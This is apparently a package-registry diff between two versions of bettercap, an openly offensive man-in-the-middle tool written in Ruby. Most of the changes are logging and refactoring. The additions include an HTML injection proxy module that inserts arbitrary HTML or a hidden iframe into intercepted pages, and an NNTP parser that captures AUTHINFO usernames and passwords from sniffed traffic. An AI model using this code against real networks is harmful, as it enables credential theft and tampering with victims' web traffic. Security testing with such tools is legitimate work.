bettercap 1.2.3 → 1.2.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA1:
3
- metadata.gz: 5a754804a6aed2eab487b2fbe33417c222946953
4
- data.tar.gz: 0ba2e64fc445000c10b7dd9d2d3ec94c47108dbe
3
+ metadata.gz: d277978f66ed5f5cd7f82b8fb071c5869c1f6c4b
4
+ data.tar.gz: ff6e06d690813d5898c0ba8f20564604b185ee96
5
5
  SHA512:
6
- metadata.gz: 4bda0263ceae34eee565a7d5b46400f573b623a7a46f343dd9396a95078cdf2a4118fe2580f748d5c77a0174f589a5b505f466d125585824f5d54dd43457dbb3
7
- data.tar.gz: 4fa729af4ff2b4a890ab87f53aed5559702e8d82efee9e55986467f28337f652234ca5322b69c20761758d6f6ec0916368f8ae922649100dda50c1d8695e268a
6
+ metadata.gz: 4ac7c66a0e57e773cfd69d448e3f558588f5816267b1d6fd2513a2b1696a124ad1d2886b880be4ef5116f0c042d9ef182c71f04e6d5081f20ec08df8b75892e6
7
+ data.tar.gz: b4580bc7a43f897d592ba531dedda3d71230f669d22737b81785a94cfb815eaebb568eb57aca89c66b09cde476165702f299cf53bba146e1e54cf6c79d79db2a
data/README.md CHANGED
@@ -1,19 +1,68 @@
1
- ![logo](http://www.bettercap.org/assets/img/homepage-logo.png)
2
- http://www.bettercap.org/
3
-
4
- [![Gem Version](https://badge.fury.io/rb/bettercap.svg)](http://badge.fury.io/rb/bettercap) [![Code Climate](https://codeclimate.com/github/evilsocket/bettercap/badges/gpa.svg)](https://codeclimate.com/github/evilsocket/bettercap) [![Join the chat at https://gitter.im/evilsocket/bettercap](https://badges.gitter.im/evilsocket/bettercap.svg)](https://gitter.im/evilsocket/bettercap?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge&utm_content=badge)
5
- ---
6
-
7
1
  **bettercap** is a complete, modular, portable and easily extensible **MITM** tool and framework with every kind of diagnostic
8
2
  and offensive feature you could need in order to perform a man in the middle attack.
9
3
 
10
- Contact me at:
11
-
12
- - Twitter: [@evilsocket](https://twitter.com/evilsocket)
13
- - Email: evilsocket@gmail.com
14
-
15
4
  Before submitting issues, please read the relevant [section](http://www.bettercap.org/docs/contribute/) in the documentation.
16
5
 
6
+ <table>
7
+ <tr>
8
+ <th>Version</th>
9
+ <td>
10
+ <a href="http://badge.fury.io/rb/bettercap" target="_blank">
11
+ <img src="https://badge.fury.io/rb/bettercap.svg"/>
12
+ </a>
13
+ </td>
14
+ </tr>
15
+ <tr>
16
+ <th>Homepage</th>
17
+ <td><a href="http://www.bettercap.org/">http://www.bettercap.org/</a></td>
18
+ </tr>
19
+ <tr>
20
+ <th>Blog</th>
21
+ <td><a href="http://www.bettercap.org/blog/">http://www.bettercap.org/blog/</a></td>
22
+ <tr>
23
+ <th>Github</th>
24
+ <td><a href="https://github.com/evilsocket/bettercap">http://github.com/evilsocket/bettercap</a></td>
25
+ <tr/>
26
+ <tr>
27
+ <th>Documentation</th>
28
+ <td><a href="http://www.bettercap.org/docs/">http://www.bettercap.org/docs/</a></td>
29
+ </tr>
30
+ <tr>
31
+ <th>Code Documentation</th>
32
+ <td>
33
+ <a href="http://www.rubydoc.info/github/evilsocket/bettercap">http://www.rubydoc.info/github/evilsocket/bettercap</a>
34
+ &nbsp;
35
+ <a href="https://codeclimate.com/github/evilsocket/bettercap" target="_blank">
36
+ <img src="https://codeclimate.com/github/evilsocket/bettercap/badges/gpa.svg"/>
37
+ </a>
38
+ </td>
39
+ </tr>
40
+ <tr>
41
+ <th>Author</th>
42
+ <td><a href="http://www.evilsocket.net/">Simone Margaritelli</a> (<a href="http://twitter.com/evilsocket">@evilsocket</a>)</td>
43
+ </tr>
44
+ <tr>
45
+ <th>Twitter</th>
46
+ <td><a href="http://twitter.com/bettercap">@bettercap</a></td>
47
+ </tr>
48
+ <tr>
49
+ <th>Chat</th>
50
+ <td>
51
+ <a href="https://gitter.im/evilsocket/bettercap" target="_blank">
52
+ <img src="https://badges.gitter.im/evilsocket/bettercap.svg"/>
53
+ </a>
54
+ </td>
55
+ </tr>
56
+ <tr>
57
+ <th>Copyright</th>
58
+ <td>2015-2016 Simone Margaritelli</td>
59
+ </tr>
60
+ <tr>
61
+ <th>License</th>
62
+ <td>GPL v3.0 - (see LICENSE file)</td>
63
+ </tr>
64
+ </table>
65
+
17
66
  Installation
18
67
  ============
19
68
 
@@ -118,7 +118,7 @@ class Context
118
118
  def enable_port_redirection!
119
119
  @redirections = @options.to_redirections @ifconfig
120
120
  @redirections.each do |r|
121
- Logger.warn "Redirecting #{r.protocol} traffic from port #{r.src_port} to #{r.dst_address}:#{r.dst_port}"
121
+ Logger.debug "Redirecting #{r.protocol} traffic from port #{r.src_port} to #{r.dst_address}:#{r.dst_port}"
122
122
  @firewall.add_port_redirection( r )
123
123
  end
124
124
  end
@@ -40,25 +40,71 @@ class Thread
40
40
 
41
41
  private
42
42
 
43
+ # Return true if the +list+ of targets includes +target+.
44
+ def list_include_target?( list, target )
45
+ list.each do |t|
46
+ if t.equals?(target.ip, target.mac)
47
+ return true
48
+ end
49
+ end
50
+ false
51
+ end
52
+
53
+ # Print informations about new and lost targets.
54
+ def print_differences( prev )
55
+ diff = { :new => [], :lost => [] }
56
+
57
+ @ctx.targets.each do |target|
58
+ unless list_include_target?( prev, target )
59
+ diff[:new] << target
60
+ end
61
+ end
62
+
63
+ prev.each do |target|
64
+ unless list_include_target?( @ctx.targets, target )
65
+ diff[:lost] << target
66
+ end
67
+ end
68
+
69
+ unless diff[:new].empty? and diff[:lost].empty?
70
+ if diff[:new].empty?
71
+ snew = ""
72
+ else
73
+ snew = "Acquired #{diff[:new].size} new target#{if diff[:new].size > 1 then "s" else "" end}"
74
+ end
75
+
76
+ if diff[:lost].empty?
77
+ slost = ""
78
+ else
79
+ slost = "#{if snew == "" then 'L' else ', l' end}ost #{diff[:lost].size} target#{if diff[:lost].size > 1 then "s" else "" end}"
80
+ end
81
+
82
+ Logger.info "#{snew}#{slost} :"
83
+
84
+ msg = "\n"
85
+ diff[:new].each do |target|
86
+ msg += " [#{'NEW'.green}] #{target.to_s(false)}\n"
87
+ end
88
+ diff[:lost].each do |target|
89
+ msg += " [#{'LOST'.red}] #{target.to_s(false)}\n"
90
+ end
91
+ msg += "\n"
92
+ Logger.raw msg
93
+ end
94
+ end
95
+
43
96
  # This method implements the main discovery logic, it will be executed within
44
97
  # the spawned thread.
45
98
  def worker
46
99
  Logger.debug( 'Network discovery thread started.' ) unless @ctx.options.arpcache
47
100
 
101
+ prev = []
48
102
  while @running
49
- was_empty = @ctx.targets.empty?
50
103
  @ctx.targets = Network.get_alive_targets(@ctx).sort_by { |t| t.sortable_ip }
51
104
 
52
- if was_empty and not @ctx.targets.empty?
53
- Logger.info "Collected #{@ctx.targets.size} total target#{if @ctx.targets.size > 1 then "s" else "" end}."
105
+ print_differences prev
54
106
 
55
- msg = "\n"
56
- @ctx.targets.each do |target|
57
- msg += " #{target}\n"
58
- end
59
- msg += "\n"
60
- Logger.raw msg
61
- end
107
+ prev = @ctx.targets
62
108
 
63
109
  sleep(5) if @ctx.options.arpcache
64
110
  end
@@ -322,9 +322,6 @@ class Options
322
322
 
323
323
  Logger.init( ctx.options.debug, ctx.options.logfile, ctx.options.silent )
324
324
 
325
- Logger.warn "You are running an unstable/beta version of this software, please" \
326
- " update to a stable one if available." if BetterCap::VERSION =~ /[\d\.+]b/
327
-
328
325
  if ctx.options.check_updates
329
326
  UpdateChecker.check
330
327
  exit
@@ -333,6 +330,8 @@ class Options
333
330
  raise BetterCap::Error, 'This software must run as root.' unless Process.uid == 0
334
331
  raise BetterCap::Error, 'No default interface found, please specify one with the -I argument.' if ctx.options.iface.nil?
335
332
 
333
+ ctx.options.starting_message
334
+
336
335
  unless ctx.options.gateway.nil?
337
336
  raise BetterCap::Error, "The specified gateway '#{ctx.options.gateway}' is not a valid IPv4 address." unless Network.is_ip?(ctx.options.gateway)
338
337
  ctx.gateway = ctx.options.gateway
@@ -510,5 +509,30 @@ class Options
510
509
 
511
510
  redirections
512
511
  end
512
+
513
+ # Print the starting status message.
514
+ def starting_message
515
+ on = '✔'.green
516
+ off = '✘'.red
517
+ status = {
518
+ 'spoofing' => if has_spoofer? then on else off end,
519
+ 'discovery' => if !target.nil? or arpcache then off else on end,
520
+ 'sniffer' => if sniffer then on else off end,
521
+ 'http-proxy' => if proxy then on else off end,
522
+ 'https-proxy' => if proxy_https then on else off end,
523
+ 'http-server' => if httpd then on else off end,
524
+ }
525
+
526
+ msg = "Starting [ "
527
+ status.each do |k,v|
528
+ msg += "#{k}:#{v} "
529
+ end
530
+ msg += "] ...\n\n"
531
+
532
+ Logger.info msg
533
+
534
+ Logger.warn "You are running an unstable/beta version of this software, please" \
535
+ " update to a stable one if available." if BetterCap::VERSION =~ /[\d\.+]b/
536
+ end
513
537
  end
514
538
  end
@@ -86,7 +86,7 @@ class Module
86
86
  # one of them for the given code block.
87
87
  def self.each_module
88
88
  Object.constants.each do |klass|
89
- const = Kernel.const_get(klass)
89
+ const = Kernel.const_get(klass.to_s)
90
90
  if const.respond_to?(:superclass) and const.superclass == self
91
91
  yield const
92
92
  end
@@ -11,7 +11,7 @@ This project is released under the GPL 3 license.
11
11
  =end
12
12
 
13
13
  # This proxy module will take care of CSS code injection.
14
- class Injectcss < BetterCap::Proxy::Module
14
+ class InjectCSS < BetterCap::Proxy::Module
15
15
  # CSS data to be injected.
16
16
  @@cssdata = nil
17
17
  # CSS file URL to be injected.
@@ -0,0 +1,55 @@
1
+ =begin
2
+
3
+ BETTERCAP
4
+
5
+ Author : Simone 'evilsocket' Margaritelli
6
+ Email : evilsocket@gmail.com
7
+ Blog : http://www.evilsocket.net/
8
+
9
+ This project is released under the GPL 3 license.
10
+
11
+ =end
12
+
13
+ # This proxy module will take care of HTML code injection.
14
+ class InjectHTML < BetterCap::Proxy::Module
15
+ # URL of the iframe if --html-iframe-url was specified.
16
+ @@iframe = nil
17
+ # HTML data to be injected.
18
+ @@data = nil
19
+
20
+ # Add custom command line arguments to the +opts+ OptionParser instance.
21
+ def self.on_options(opts)
22
+ opts.separator ""
23
+ opts.separator "Inject HTML Proxy Module Options:"
24
+ opts.separator ""
25
+
26
+ opts.on( '--html-data STRING', 'HTML code to be injected.' ) do |v|
27
+ @@data = v
28
+ end
29
+
30
+ opts.on( '--html-iframe-url URL', 'URL of the iframe that will be injected, if this option is specified an "iframe" tag will be injected.' ) do |v|
31
+ @@iframe = v
32
+ end
33
+ end
34
+
35
+ # Create an instance of this module and raise a BetterCap::Error if command
36
+ # line arguments weren't correctly specified.
37
+ def initialize
38
+ raise BetterCap::Error, "No --html-data or --html-iframe-url options specified for the proxy module." if @@data.nil? and @@iframe.nil?
39
+ end
40
+
41
+ # Called by the BetterCap::Proxy::Proxy processor on each HTTP +request+ and
42
+ # +response+.
43
+ def on_request( request, response )
44
+ # is it a html page?
45
+ if response.content_type =~ /^text\/html.*/
46
+ BetterCap::Logger.info "Injecting HTML code into http://#{request.host}#{request.url}"
47
+
48
+ if @@data.nil?
49
+ response.body.sub!( '</body>', "<iframe src=\"#{@@iframe}\" frameborder=\"0\" height=\"0\" width=\"0\"></iframe></body>" )
50
+ else
51
+ response.body.sub!( '</body>', "#{@@data}</body>" )
52
+ end
53
+ end
54
+ end
55
+ end
@@ -11,7 +11,7 @@ This project is released under the GPL 3 license.
11
11
  =end
12
12
 
13
13
  # This proxy module will take care of Javascript code injection.
14
- class Injectjs < BetterCap::Proxy::Module
14
+ class InjectJS < BetterCap::Proxy::Module
15
15
  # JS data to be injected.
16
16
  @@jsdata = nil
17
17
  # JS file URL to be injected.
@@ -122,7 +122,7 @@ class Proxy
122
122
 
123
123
  # someone is having fun with us =)
124
124
  if is_self_request? request
125
- @streamer.rickroll client
125
+ @streamer.rickroll client, @is_https
126
126
  # handle request
127
127
  else
128
128
  @streamer.handle( request, client, @is_https )
@@ -21,8 +21,10 @@ class Streamer
21
21
  end
22
22
 
23
23
  # Redirect the +client+ to a funny video.
24
- def rickroll( client )
25
- Logger.warn "#{client_ip} is connecting to us directly."
24
+ def rickroll( client, is_https )
25
+ client_ip, client_port = get_client_details( is_https, client )
26
+
27
+ Logger.warn "#{client_ip}:#{client_port} is connecting to us directly."
26
28
 
27
29
  client.write "HTTP/1.1 302 Found\n"
28
30
  client.write "Location: https://www.youtube.com/watch?v=dQw4w9WgXcQ\n\n"
@@ -0,0 +1,24 @@
1
+ =begin
2
+
3
+ BETTERCAP
4
+
5
+ Author : Simone 'evilsocket' Margaritelli
6
+ Email : evilsocket@gmail.com
7
+ Blog : http://www.evilsocket.net/
8
+
9
+ This project is released under the GPL 3 license.
10
+
11
+ =end
12
+ require 'bettercap/sniffer/parsers/base'
13
+
14
+ module BetterCap
15
+ module Parsers
16
+ # NNTP authentication parser.
17
+ class Nntp < Base
18
+ def initialize
19
+ @filters = [ /AUTHINFO\s+(USER|PASS)\s+.+/i ]
20
+ @name = 'NNTP'
21
+ end
22
+ end
23
+ end
24
+ end
@@ -59,41 +59,8 @@ private
59
59
  end
60
60
  end
61
61
 
62
- # Print informations about new and lost targets.
63
- def print_differences( prev_targets )
64
- size = @ctx.targets.size
65
- prev_size = prev_targets.size
66
- diff = nil
67
- label = nil
68
-
69
- if size > prev_size
70
- diff = @ctx.targets - prev_targets
71
- delta = diff.size
72
- label = 'NEW'.green
73
-
74
- Logger.warn "Acquired #{delta} new target#{if delta > 1 then "s" else "" end}."
75
- elsif size < prev_size
76
- diff = prev_targets - @ctx.targets
77
- delta = diff.size
78
- label = 'LOST'.red
79
-
80
- Logger.warn "Lost #{delta} target#{if delta > 1 then "s" else "" end}."
81
- end
82
-
83
- unless diff.nil?
84
- msg = "\n"
85
- diff.each do |target|
86
- msg += " [#{label}] #{target.to_s(false)}\n"
87
- end
88
- msg += "\n"
89
- Logger.raw msg
90
- end
91
- end
92
-
93
62
  # Main spoof loop repeated each +delay+ seconds.
94
63
  def spoof_loop( delay )
95
- prev_targets = @ctx.targets
96
-
97
64
  loop do
98
65
  unless @running
99
66
  Logger.debug 'Stopping spoofing thread ...'
@@ -101,8 +68,6 @@ private
101
68
  break
102
69
  end
103
70
 
104
- print_differences prev_targets
105
-
106
71
  Logger.debug "Spoofing #{@ctx.targets.size} targets ..."
107
72
 
108
73
  update_targets!
@@ -111,8 +76,6 @@ private
111
76
  yield(target)
112
77
  end
113
78
 
114
- prev_targets = @ctx.targets
115
-
116
79
  sleep(delay)
117
80
  end
118
81
  end
@@ -18,7 +18,7 @@ module Spoofers
18
18
  class None < Base
19
19
  # Initialize the non-spoofing class.
20
20
  def initialize
21
- Logger.warn 'Spoofing disabled.'
21
+ Logger.debug 'Spoofing disabled.'
22
22
 
23
23
  @ctx = Context.get
24
24
  @gateway = nil
@@ -11,7 +11,7 @@ This project is released under the GPL 3 license.
11
11
  =end
12
12
  module BetterCap
13
13
  # Current version of bettercap.
14
- VERSION = '1.2.3'
14
+ VERSION = '1.2.4'
15
15
  # Program banner.
16
16
  BANNER = File.read( File.dirname(__FILE__) + '/banner' ).gsub( '#VERSION#', "v#{VERSION}")
17
17
  end
metadata CHANGED
@@ -1,14 +1,14 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: bettercap
3
3
  version: !ruby/object:Gem::Version
4
- version: 1.2.3
4
+ version: 1.2.4
5
5
  platform: ruby
6
6
  authors:
7
7
  - Simone Margaritelli
8
8
  autorequire:
9
9
  bindir: bin
10
10
  cert_chain: []
11
- date: 2016-01-20 00:00:00.000000000 Z
11
+ date: 2016-01-21 00:00:00.000000000 Z
12
12
  dependencies:
13
13
  - !ruby/object:Gem::Dependency
14
14
  name: colorize
@@ -118,6 +118,7 @@ files:
118
118
  - lib/bettercap/proxy/certstore.rb
119
119
  - lib/bettercap/proxy/module.rb
120
120
  - lib/bettercap/proxy/modules/injectcss.rb
121
+ - lib/bettercap/proxy/modules/injecthtml.rb
121
122
  - lib/bettercap/proxy/modules/injectjs.rb
122
123
  - lib/bettercap/proxy/proxy.rb
123
124
  - lib/bettercap/proxy/request.rb
@@ -133,6 +134,7 @@ files:
133
134
  - lib/bettercap/sniffer/parsers/https.rb
134
135
  - lib/bettercap/sniffer/parsers/irc.rb
135
136
  - lib/bettercap/sniffer/parsers/mail.rb
137
+ - lib/bettercap/sniffer/parsers/nntp.rb
136
138
  - lib/bettercap/sniffer/parsers/ntlmss.rb
137
139
  - lib/bettercap/sniffer/parsers/post.rb
138
140
  - lib/bettercap/sniffer/parsers/url.rb